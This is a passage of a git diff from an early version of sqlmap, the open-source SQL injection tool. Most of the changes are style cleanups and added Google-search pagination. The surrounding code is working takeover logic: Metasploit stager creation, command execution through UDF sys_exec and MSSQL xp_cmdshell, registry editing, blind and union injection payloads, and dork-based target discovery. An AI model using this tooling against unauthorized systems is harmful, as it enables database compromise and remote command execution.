os.unlink(self.__shellcodeFilePath)
-
def createMsfPayloadStager(self, initialize=True):
- if initialize == True:
+ if initialize:
infoMsg = ""
else:
infoMsg = "re"
@@ -608,10 +585,10 @@ class Metasploit:
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
self.__fileFormat = "elf"
- if initialize == True:
+ if initialize:
self.__initVars()
- if self.payloadStr == None:
+ if self.payloadStr is None:
self.__prepareIngredients()
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
@@ -657,7 +634,6 @@ class Metasploit:
errMsg = "failed to create the payload stager (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
-
def uploadMsfPayloadStager(self):
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
@@ -666,9 +642,8 @@ class Metasploit:
os.unlink(self.exeFilePathLocal)
-
def pwn(self, goUdf=False):
- if goUdf is True:
+ if goUdf:
exitfunc = "thread"
func = self.__runMsfShellcodeRemote
else:
@@ -684,10 +659,9 @@ class Metasploit:
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
logger.debug(debugMsg)
- if goUdf is False:
+ if not goUdf:
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
-
def smb(self):
self.__initVars()
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
@@ -708,7 +682,6 @@ class Metasploit:
os.unlink(self.resourceFile)
-
def bof(self):
self.__runMsfCli(exitfunc="seh")
diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py
index 4ce7bf1d6..47f41026c 100644
--- a/lib/takeover/registry.py
+++ b/lib/takeover/registry.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
from lib.core.common import randomStr
@@ -31,7 +29,6 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
-
class Registry:
"""
This class defines methods to read and write Windows registry keys
@@ -47,7 +44,7 @@ class Registry:
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
- if parse == True:
+ if parse:
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else:
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
@@ -67,7 +64,6 @@ class Registry:
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
)
-
def __createLocalBatchFile(self):
self.__batPathFp = open(self.__batPathLocal, "w")
@@ -83,7 +79,6 @@ class Registry:
self.__batPathFp.close()
-
def __createRemoteBatchFile(self):
logger.debug("creating batch file '%s'" % self.__batPathRemote)
@@ -92,7 +87,6 @@ class Registry:
os.unlink(self.__batPathLocal)
-
def readRegKey(self, regKey, regValue, parse=False):
self.__operation = "read"
@@ -112,7 +106,6 @@ class Registry:
return data
-
def addRegKey(self, regKey, regValue, regType, regData):
self.__operation = "add"
@@ -126,7 +119,6 @@ class Registry:
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
-
def delRegKey(self, regKey, regValue):
self.__operation = "delete"
diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py
index 983eea8eb..93906c9ee 100644
--- a/lib/takeover/udf.py
+++ b/lib/takeover/udf.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
from lib.core.agent import agent
@@ -52,10 +50,9 @@ class UDF:
self.udfs = {}
self.udfToCreate = set()
-
def __askOverwriteUdf(self, udf):
- message = "UDF '%s' already exists, do you " % udf
- message += "want to overwrite it? [y/N] "
+ message = "UDF '%s' already exists, do you " % udf
+ message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output[0] in ("y", "Y"):
@@ -63,9 +60,8 @@ class UDF:
else:
return False
-
def __checkExistUdf(self, udf):
- logger.info("checking if UDF '%s' already exist" % udf)
+ logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
@@ -74,27 +70,24 @@ class UDF:
return True
else:
return False
-
def udfCheckAndOverwrite(self, udf):
exists = self.__checkExistUdf(udf)
overwrite = True
- if exists is True:
+ if exists:
overwrite = self.__askOverwriteUdf(udf)
- if overwrite is True:
+ if overwrite:
self.udfToCreate.add(udf)
-
def udfCreateSupportTbl(self, dataType):
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
- logger.debug(debugMsg)
+ logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
-
def udfExecCmd(self, cmd, silent=False, udfName=None):
cmd = urlencode(cmd, convall=True)
@@ -102,8 +95,7 @@ class UDF:
cmd = "'%s'" % cmd
udfName = "sys_exec"
- inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
-
+ inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
cmd = urlencode(cmd, convall=True)
@@ -112,9 +104,9 @@ class UDF:
cmd = "'%s'" % cmd
udfName = "sys_eval"
- inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
- output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
- inject.goStacked("DELETE FROM %s" % self.cmdTblName)
+ inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
+ output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
+ inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]
@@ -124,21 +116,17 @@ class UDF:
return output
-
def udfCreateFromSharedLib(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
- raise sqlmapUnsupportedFeatureException, errMsg
-
+ raise sqlmapUnsupportedFeatureException(errMsg)
def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
- raise sqlmapUnsupportedFeatureException, errMsg
-
+ raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCmd(self):
errMsg = "udfInjectCmd() method must be defined within the plugin"
- raise sqlmapUnsupportedFeatureException, errMsg
-
+ raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict):
for udf in udfDict.keys():
@@ -162,15 +150,14 @@ class UDF:
self.udfCreateSupportTbl(supportTblType)
-
def udfInjectCustom(self):
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
- raise sqlmapUnsupportedFeatureException, errMsg
+ raise sqlmapUnsupportedFeatureException(errMsg)
stackedTest()
- if kb.stackedTest == False:
+ if not kb.stackedTest:
return
self.checkDbmsOs()
@@ -195,21 +182,21 @@ class UDF:
if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist"
- raise sqlmapFilePathException, errMsg
+ raise sqlmapFilePathException(errMsg)
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'"
- raise sqlmapMissingMandatoryOptionException, errMsg
+ raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows"
- raise sqlmapMissingMandatoryOptionException, errMsg
+ raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux"
- raise sqlmapMissingMandatoryOptionException, errMsg
+ raise sqlmapMissingMandatoryOptionException(errMsg)
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
diff --git a/lib/takeover/upx.py b/lib/takeover/upx.py
index 59e2a6743..fb8000d26 100644
--- a/lib/takeover/upx.py
+++ b/lib/takeover/upx.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
import time
@@ -37,7 +35,6 @@ from lib.core.data import logger
from lib.core.data import paths
from lib.core.settings import PLATFORM
-
class UPX:
"""
This class defines methods to compress binary files with UPX (Ultimate
@@ -69,7 +66,6 @@ class UPX:
if dstFile:
self.__upxCmd += " -o %s" % dstFile
-
def pack(self, srcFile, dstFile=None):
self.__initialize(srcFile, dstFile)
@@ -97,13 +93,10 @@ class UPX:
return None
-
def unpack(self, srcFile, dstFile=None):
pass
-
def verify(self, filePath):
pass
-
upx = UPX()
diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py
index ca8eff685..f9bb7be1c 100644
--- a/lib/takeover/xp_cmdshell.py
+++ b/lib/takeover/xp_cmdshell.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
@@ -34,7 +32,6 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.blind.timebased import timeUse
-
class xp_cmdshell:
"""
This class defines methods to deal with Microsoft SQL Server
@@ -44,9 +41,7 @@ class xp_cmdshell:
def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell"
-
def __xpCmdshellCreate(self):
- # TODO: double-check that this method works properly
cmd = ""
if kb.dbmsVersion[0] in ( "2005", "2008" ):
@@ -73,7 +68,6 @@ class xp_cmdshell:
self.xpCmdshellExecCmd(cmd)
-
def __xpCmdshellConfigure2005(self, mode):
debugMsg = "configuring xp_cmdshell using sp_configure "
debugMsg += "stored procedure"
@@ -87,7 +81,6 @@ class xp_cmdshell:
return cmd
-
def __xpCmdshellConfigure2000(self, mode):
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
debugMsg += "stored procedure"
@@ -96,12 +89,11 @@ class xp_cmdshell:
if mode == 1:
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
cmd += "@dllname='xplog70.dll'"
- else:
- cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
+ else:
+ cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
return cmd
-
def __xpCmdshellConfigure(self, mode):
if kb.dbmsVersion[0] in ( "2005", "2008" ):
cmd = self.__xpCmdshellConfigure2005(mode)
@@ -110,7 +102,6 @@ class xp_cmdshell:
self.xpCmdshellExecCmd(cmd)
-
def __xpCmdshellCheck(self):
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
duration = timeUse(query)
@@ -120,19 +111,16 @@ class xp_cmdshell:
else:
return False
-
def xpCmdshellForgeCmd(self, cmd):
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
-
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
- if forgeCmd == True:
+ if forgeCmd:
cmd = self.xpCmdshellForgeCmd(cmd)
cmd = urlencode(cmd, convall=True)
- inject.goStacked(cmd, silent)
-
+ inject.goStacked(cmd, silent)
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
self.getRemoteTempPath()
@@ -146,8 +134,8 @@ class xp_cmdshell:
self.delRemoteFile(tmpFile)
- output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
- inject.goStacked("DELETE FROM %s" % self.cmdTblName)
+ output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
+ inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]
@@ -157,7 +145,6 @@ class xp_cmdshell:
return output
-
def xpCmdshellInit(self, mandatory=True):
self.__xpCmdshellAvailable = False
@@ -167,7 +154,7 @@ class xp_cmdshell:
result = self.__xpCmdshellCheck()
- if result == True:
+ if result:
logger.info("xp_cmdshell extended procedure is available")
self.__xpCmdshellAvailable = True
@@ -180,7 +167,7 @@ class xp_cmdshell:
if not choice or choice in ("y", "Y"):
self.__xpCmdshellConfigure(1)
- if self.__xpCmdshellCheck() == True:
+ if self.__xpCmdshellCheck():
logger.info("xp_cmdshell re-enabled successfully")
self.__xpCmdshellAvailable = True
@@ -191,7 +178,7 @@ class xp_cmdshell:
self.__xpCmdshellConfigure(0)
self.__xpCmdshellCreate()
- if self.__xpCmdshellCheck() == True:
+ if self.__xpCmdshellCheck():
logger.info("xp_cmdshell created successfully")
self.__xpCmdshellAvailable = True
@@ -200,14 +187,14 @@ class xp_cmdshell:
warnMsg += "because sp_OACreate is disabled"
logger.warn(warnMsg)
- if self.__xpCmdshellAvailable == False and mandatory == False:
+ if not self.__xpCmdshellAvailable and not mandatory:
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
warnMsg += "try to proceed without it"
logger.warn(warnMsg)
self.envInitialized = True
- elif self.__xpCmdshellAvailable == False:
+ elif not self.__xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell"
raise sqlmapUnsupportedFeatureException, errMsg
@@ -215,6 +202,6 @@ class xp_cmdshell:
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
- logger.debug(debugMsg)
+ logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")
diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py
index 40a181ac1..5a22fc088 100644
--- a/lib/techniques/blind/inference.py
+++ b/lib/techniques/blind/inference.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import threading
import time
import traceback
@@ -43,8 +41,6 @@ from lib.core.exception import unhandledException
from lib.core.progress import ProgressBar
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
-
-
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
"""
Bisection algorithm that can be used to perform blind SQL injection
@@ -102,7 +98,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
progress = ProgressBar(maxValue=length)
progressTime = []
- if conf.verbose in ( 1, 2 ) and not showEta:
+ if conf.verbose >= 1 and not showEta:
if isinstance(length, int) and conf.threads > 1:
infoMsg = "starting %d threads" % numThreads
logger.info(infoMsg)
@@ -113,8 +109,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules
-
-
def getChar(idx, asciiTbl=asciiTbl):
maxValue = asciiTbl[len(asciiTbl)-1]
minValue = 0
@@ -126,7 +120,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
forgedPayload = payload % (expressionUnescaped, idx, posValue)
result = Request.queryPage(forgedPayload)
- if result == True:
+ if result:
minValue = posValue
asciiTbl = asciiTbl[position:]
else:
@@ -138,8 +132,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
return None
else:
return chr(minValue + 1)
-
-
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
@@ -151,15 +143,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
-
-
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [ None ] * length
index = [ firstChar ] # As list for python nested function scoping
idxlock = threading.Lock()
iolock = threading.Lock()
-
-
def downloadThread():
try:
while True:
@@ -184,7 +172,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if showEta:
etaProgressUpdate(time.time() - charStart, index[0])
- elif conf.verbose in ( 1, 2 ):
+ elif conf.verbose >= 1:
s = "".join([c or "_" for c in value])
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
@@ -212,8 +200,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
errMsg = unhandledException()
logger.error("thread %d: %s" % (numThread + 1, errMsg))
traceback.print_exc()
-
-
# Start the threads
for numThread in range(numThreads):
thread = threading.Thread(target=downloadThread)
@@ -228,7 +214,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# can mean that the connection to the target url was lost
if None in value:
for v in value:
- if isinstance(v, str) and v != None:
+ if isinstance(v, str) and v is not None:
partialValue += v
if partialValue:
@@ -241,7 +227,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if isinstance(finalValue, str) and len(finalValue) > 0:
dataToSessionFile(replaceNewlineTabs(finalValue))
- if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
+ if conf.verbose >= 1 and not showEta and infoMsg:
dataToStdout(infoMsg)
else:
@@ -261,10 +247,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if showEta:
etaProgressUpdate(time.time() - charStart, index)
- elif conf.verbose in ( 1, 2 ):
+ elif conf.verbose >= 1:
dataToStdout(val)
- if conf.verbose in ( 1, 2 ) or showEta:
+ if conf.verbose >= 1 or showEta:
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
diff --git a/lib/techniques/blind/timebased.py b/lib/techniques/blind/timebased.py
index fa06f4d54..e0465c6df 100644
--- a/lib/techniques/blind/timebased.py
+++ b/lib/techniques/blind/timebased.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import time
from lib.core.agent import agent
@@ -33,8 +31,6 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.request import inject
from lib.request.connect import Connect as Request
-
-
def timeTest():
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
@@ -82,8 +78,6 @@ def timeTest():
kb.timeTest = False
return kb.timeTest
-
-
def timeUse(query):
start = time.time()
_, _ = inject.goStacked(query)
diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py
index be22c2e6b..414f8bc05 100644
--- a/lib/techniques/inband/union/test.py
+++ b/lib/techniques/inband/union/test.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.core.agent import agent
from lib.core.common import randomStr
from lib.core.data import conf
@@ -35,7 +33,6 @@ from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
-
def __unionPosition(negative=False, falseCond=False):
if negative or falseCond:
negLogMsg = "partial (single entry)"
@@ -93,7 +90,6 @@ def __unionPosition(negative=False, falseCond=False):
logger.warn(warnMsg)
-
def __unionConfirm():
# Confirm the inband SQL injection and get the exact column
# position
@@ -121,7 +117,6 @@ def __unionConfirm():
else:
conf.paramFalseCond = True
-
def __forgeUserFriendlyValue(payload):
value = ""
@@ -139,7 +134,6 @@ def __forgeUserFriendlyValue(payload):
return value
-
def __unionTestByNULLBruteforce(comment):
"""
This method tests if the target url is affected by an inband
@@ -173,7 +167,6 @@ def __unionTestByNULLBruteforce(comment):
return value, columns
-
def __unionTestByOrderBy(comment):
columns = None
value = None
@@ -197,7 +190,6 @@ def __unionTestByOrderBy(comment):
return value, columns
-
def unionTest():
"""
This method tests if the target url is affected by an inband
diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py
index 3de52c725..60f31f348 100644
--- a/lib/techniques/inband/union/use.py
+++ b/lib/techniques/inband/union/use.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
import time
@@ -39,10 +37,8 @@ from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
-
reqCount = 0
-
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
"""
This function tests for an inband SQL injection on the target
@@ -60,7 +56,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
global reqCount
- if resetCounter == True:
+ if resetCounter:
reqCount = 0
if not kb.unionCount:
@@ -74,7 +70,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
expression = agent.concatQuery(expression, unpack)
expression = unescaper.unescape(expression)
- if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False:
+ if ( conf.paramNegative or conf.paramFalseCond ) and not direct:
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1:
@@ -141,7 +137,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
else:
test = True
- if test == True:
+ if test:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
diff --git a/lib/techniques/outband/stacked.py b/lib/techniques/outband/stacked.py
index 053c9f1b3..98849b6c2 100644
--- a/lib/techniques/outband/stacked.py
+++ b/lib/techniques/outband/stacked.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import time
from lib.core.common import getDelayQuery
@@ -33,9 +31,8 @@ from lib.core.data import logger
from lib.core.session import setStacked
from lib.request import inject
-
def stackedTest():
- if kb.stackedTest != None:
+ if kb.stackedTest is not None:
return kb.stackedTest
infoMsg = "testing stacked queries support on parameter "
@@ -53,7 +50,6 @@ def stackedTest():
logger.info(infoMsg)
kb.stackedTest = payload
-
else:
warnMsg = "the web application does not support stacked queries "
warnMsg += "on parameter '%s'" % kb.injParameter
diff --git a/lib/utils/google.py b/lib/utils/google.py
index aa9d8832f..cadebe132 100644
--- a/lib/utils/google.py
+++ b/lib/utils/google.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import cookielib
import re
import urllib2
@@ -31,8 +29,9 @@ import urllib2
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
+from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
-
+from lib.request.basic import decodePage
class Google:
"""
@@ -47,7 +46,6 @@ class Google:
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
self.opener.addheaders = conf.httpHeaders
-
def __parsePage(self, page):
"""
Parse Google dork search results page to get the list of
@@ -61,7 +59,6 @@ class Google:
return matches
-
def getTargetUrls(self):
"""
This method returns the list of hosts with parameters out of
@@ -72,7 +69,6 @@ class Google:
if re.search("(.*?)\?(.+)", match, re.I):
kb.targetUrls.add(( match, None, None, None ))
-
def getCookie(self):
"""
This method is the first to be called when initializing a
@@ -90,23 +86,47 @@ class Google:
errMsg = "unable to connect to Google"
raise sqlmapConnectionException, errMsg
-
def search(self, googleDork):
"""
This method performs the effective search on Google providing
the google dork and the Google session cookie
"""
+ gpage = conf.googlePage if conf.googlePage > 1 else 1
+
if not googleDork:
return None
url = "http://www.google.com/search?"
url += "q=%s&" % urlencode(googleDork)
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
+ url += "&start=%d" % ((gpage-1) * 100)
try:
conn = self.opener.open(url)
- page = conn.read()
+
+ requestMsg = "HTTP request:\nGET %s HTTP/1.1" % url
+ #requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in conn.headers.items()])
+ #requestMsg += "\n%s" % requestHeaders
+ requestMsg += "\n"
+ logger.log(9, requestMsg)
+
+ page = conn.read()
+ code = conn.code
+ status = conn.msg
+ responseHeaders = conn.info()
+
+ encoding = responseHeaders.get("Content-Encoding")
+ page = decodePage(page, encoding)
+
+ responseMsg = "HTTP response (%s - %d):\n" % (status, code)
+
+ if conf.verbose <= 4:
+ responseMsg += str(responseHeaders)
+ elif conf.verbose > 4:
+ responseMsg += "%s\n%s\n" % (responseHeaders, page)
+
+ logger.log(8, responseMsg)
except urllib2.HTTPError, e:
page = e.read()
except urllib2.URLError, e:
diff --git a/lib/utils/parenthesis.py b/lib/utils/parenthesis.py
index 54813f8b6..1759db2d0 100644
--- a/lib/utils/parenthesis.py
+++ b/lib/utils/parenthesis.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
@@ -34,7 +32,6 @@ from lib.core.exception import sqlmapNoneDataException
from lib.core.session import setParenthesis
from lib.request.connect import Connect as Request
-
def checkForParenthesis():
"""
This method checks if the SQL injection affected parameter
@@ -46,7 +43,7 @@ def checkForParenthesis():
count = 0
- if kb.parenthesis != None:
+ if kb.parenthesis is not None:
return
if conf.prefix or conf.postfix:
@@ -76,7 +73,7 @@ def checkForParenthesis():
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
- if result == True:
+ if result:
count = parenthesis
logMsg = "the injectable parameter requires %d parenthesis" % count
diff --git a/plugins/dbms/mssqlserver.py b/plugins/dbms/mssqlserver.py
index 459c9e044..6422fbf44 100644
--- a/plugins/dbms/mssqlserver.py
+++ b/plugins/dbms/mssqlserver.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import binascii
import os
import time
@@ -71,7 +69,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
unescaper.setUnescape(MSSQLServerMap.unescape)
-
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -84,7 +81,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
index = expression[firstIndex:].find("'")
if index == -1:
- raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
+ raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
@@ -103,7 +100,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return expression
-
@staticmethod
def escape(expression):
while True:
@@ -115,7 +111,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
index = expression[firstIndex:].find("))")
if index == -1:
- raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
+ raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
@@ -128,9 +124,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return expression
-
def getFingerprint(self):
- value = ""
+ value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
@@ -142,23 +137,23 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
- value += "back-end DBMS: "
- actVer = formatDBMSfp()
+ value += "back-end DBMS: "
+ actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
- blank = " " * 15
- value += "active fingerprint: %s" % actVer
+ blank = " " * 15
+ value += "active fingerprint: %s" % actVer
if kb.bannerFp:
- release = kb.bannerFp["dbmsRelease"]
- version = kb.bannerFp["dbmsVersion"]
+ release = kb.bannerFp["dbmsRelease"]
+ version = kb.bannerFp["dbmsVersion"]
servicepack = kb.bannerFp["dbmsServicePack"]
if release and version and servicepack:
- banVer = "Microsoft SQL Server %s " % release
+ banVer = "Microsoft SQL Server %s " % release
banVer += "Service Pack %s " % servicepack
banVer += "version %s" % version
@@ -171,7 +166,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return value
-
def checkDbms(self):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
@@ -189,29 +183,29 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
result = Request.queryPage(payload)
- if result == True:
+ if result:
infoMsg = "confirming Microsoft SQL Server"
logger.info(infoMsg)
- for version in ( 0, 5, 8 ):
+ for version in (0, 5, 8):
randInt = randomInt()
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
- if result is True:
+ if result:
if version == 8:
- kb.dbmsVersion = [ "2008" ]
+ kb.dbmsVersion = ["2008"]
break
elif version == 5:
- kb.dbmsVersion = [ "2005" ]
